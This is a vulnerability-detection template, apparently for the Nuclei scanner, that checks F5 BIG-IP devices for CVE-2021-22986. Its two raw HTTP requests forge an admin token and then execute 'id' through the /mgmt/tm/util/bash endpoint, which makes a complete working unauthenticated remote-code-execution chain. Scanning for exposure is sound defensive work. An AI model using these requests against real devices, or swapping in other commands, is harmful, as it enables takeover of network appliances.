id: CVE-2021-22986 info: name: F5 BIG-IP iControl REST unauthenticated RCE author: rootxharsh,iamnoooob severity: critical tags: bigip,cve,cve2021,rce,mirai description: The iControl REST interface has an unauthenticated remote command execution vulnerability. reference: - https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986 - https://support.f5.com/csp/article/K03009991 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.80 cve-id: CVE-2021-22986 requests: - raw: - | POST /mgmt/shared/authn/login HTTP/1.1 Host: {{Hostname}} Accept-Language: en Authorization: Basic YWRtaW46 Content-Type: application/json Cookie: BIGIPAuthCookie=1234 Connection: close {"username":"admin","userReference":{},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}} - | POST /mgmt/tm/util/bash HTTP/1.1 Host: {{Hostname}} Accept-Language: en X-F5-Auth-Token: §token§ Content-Type: application/json Connection: close {"command":"run","utilCmdArgs":"-c id"} extractors: - type: regex part: body internal: true name: token group: 1 regex: - "([A-Z0-9]{26})" - type: regex part: body group: 1 regex: - "\"commandResult\":\"(.*)\"" matchers: - type: word words: - "commandResult" - "uid=" condition: and